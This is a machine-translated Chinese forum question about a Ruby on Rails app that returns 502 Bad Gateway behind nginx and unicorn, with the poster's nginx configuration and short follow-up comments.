Ruby on rails 502（坏网关）

成功部署rails应用程序后，当我访问ip时，我得到了一个502（坏网关）

当我跑的时候

rails s -e production

该应用程序在本地生产环境中运行良好。当我检查生产日志时，我没有发现任何警告或错误。我不知道怎样才能找到问题的根源

我正在使用：ubuntu、nginx、capistrano和unicorn

nginx.conf

upstream unicorn {
  server unix:/tmp/unicorn.mysite.sock fail_timeout=0;
}

server {
  server_name dima;
  return 301 $scheme://mysite$request_uri;
}

server {
  listen 80 default deferred;
  server_name dima;  
  root /var/www/mysite/current/public; 

 location ^~ /assets/ {
    gzip_static on;
    expires max;
    add_header Cache-Control public;
  }

  try_files $uri/index.html $uri @unicorn;
  location @unicorn {
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host $http_host;
    proxy_redirect off;
    proxy_pass http://unicorn;
  }

  error_page 500 502 503 504 /500.html;
  keepalive_timeout 10;
}

nginx的错误。日志

我很困惑，为什么它的名字是‘unicorn.testapp.sock’。我在/etc/init.d/中检查了unicorn的init脚本，它是：unicorn_mysite。在/tmp下，我有unicorn.mysite.sock

谢谢。

如何在生产中运行应用程序？您对乘客使用nginx或apache吗？或者您只是在服务器上使用

rails s-e production

？应用程序是在端口80上运行还是在端口3000上运行？@zwippie已编辑。不，我在本地使用“rails s-e制作”。当我在本地运行它时，我使用端口3000。那么您的nginx配置可能有问题。你能发布你的配置吗？你的独角兽日志中有错误吗？@snkashis no.所有信息。
